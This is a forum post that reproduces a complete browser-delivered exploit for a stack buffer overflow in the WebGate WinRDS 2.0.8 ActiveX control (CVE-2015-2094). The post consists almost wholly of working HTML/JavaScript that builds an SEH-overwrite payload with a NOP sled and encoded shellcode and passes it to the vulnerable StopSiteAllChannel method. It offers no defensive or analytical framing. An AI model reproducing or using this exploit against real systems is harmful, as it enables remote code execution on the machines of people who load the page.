Jump to content
Aerosol

WebGate WinRDS 2.0.8 StopSiteAllChannel Stack Overflow

Recommended Posts

<html>
<title>WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Vulnerability (0Day)</title>
<!--
# Exploit Title: WebGate WinRDS StopSiteAllChannel Stack Overflow SEH Overwrite (0Day)
# Google Dork: [if relevant] (we will automatically add these to the GHDB)
# Date: 27th March, 2015
# Exploit Author: Praveen Darshanam
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
# Software Link: http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36
# Version: WinRDS 2.0.8
# Tested on: Windows XP SP3 using IE/6/7/8
# CVE : 2015-2094

targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll"
prototype = "Sub StopSiteAllChannel ( ByVal SiteSerialNumber As String )"
progid = "WESPPLAYBACKLib.WESPPlaybackCtrl"
Vulnerable Product = WinRDS 2.0.8
Software = http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36
-->
<object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='ssac'>
</object>
<script>

var buff1 = "";
var nops = "";
var buff2 = "";

for (i=0;i<128; i++)
{
buff1 += "B";
}

nseh = "\xeb\x08PD";
//pop pop ret = 1007f2a0 (0x1007f29e) 1007f2a0
var seh = "\xa0\xf2\x07\x10";
for (i=0;i<80; i++)
{
nops += "\x90";
}
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";
for (i=0;i<(5000 - (buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++)
{
buff2 += "A";
}

fbuff = buff1 + nseh + seh + nops + sc + buff2;
ssac.StopSiteAllChannel(fbuff);

</script>
</html>

Source

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...